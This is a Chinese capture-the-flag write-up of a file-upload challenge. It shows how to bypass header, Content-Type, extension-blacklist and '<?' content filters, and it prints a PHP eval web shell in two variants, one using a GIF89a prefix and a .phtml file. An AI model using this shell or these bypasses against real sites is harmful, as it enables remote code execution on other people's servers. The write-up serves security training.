[极客大挑战 2019]Upload
0x00
打开界面,发现是一道上传题
首先我们来测试一下上传的文件类型,新建一个文件命名为1.jpg,进行上传,得到
根据提示我们可以猜测到,对文件头进行了检测,这里我们假设使用的是exif_imagetype函数,在文件里第一行加上GIF89a
来绕过,上传得到结果如下
上传成功,说明我们的假设是正确的,我们将文件重新命名为1.php,进行上传,得到结果如下
说明对文件的拓展名也进行了过滤,进行模糊测试,发现与php相关的全被过滤掉
通过谷歌插件看到站点使用的是nginx,上传.user.ini
也上传失败
我们继续假设后端对数据包的Content-Type类型进行了过滤,来进行测试,上传1.php并且通过BurpSuite进行如下修改
得到结果如下,说明后端还对拓展名进行了过滤,继续进行模糊测试
模糊测试后发现没有过滤phtml,上传结果如下
接下来我们上传一句话木马,将1.phtml的内容改为如下
GIF89a
<?php @eval($_POST['pass']);?>
得到结果如下,对内容也进行了过滤
我们将1.phtml的内容改为如下来绕过
GIF89a
<script language="php">@eval($_POST['pass']);</script>
上传后得到如下结果
我们打开1.phtml,经过一系列测试发现被上传到了upload路径下,访问结果如下
打开蚁剑进行连接
获取flag
0x01 总结
-
1.Content-Type绕过
-
2.黑名单绕过
-
3.exif_imagetype函数绕过
-
4.内容过滤
<?
绕过
<?php @eval($_POST['pass']); ?>
## 替换为如下
<script language="php">@eval($_POST['pass']);</script>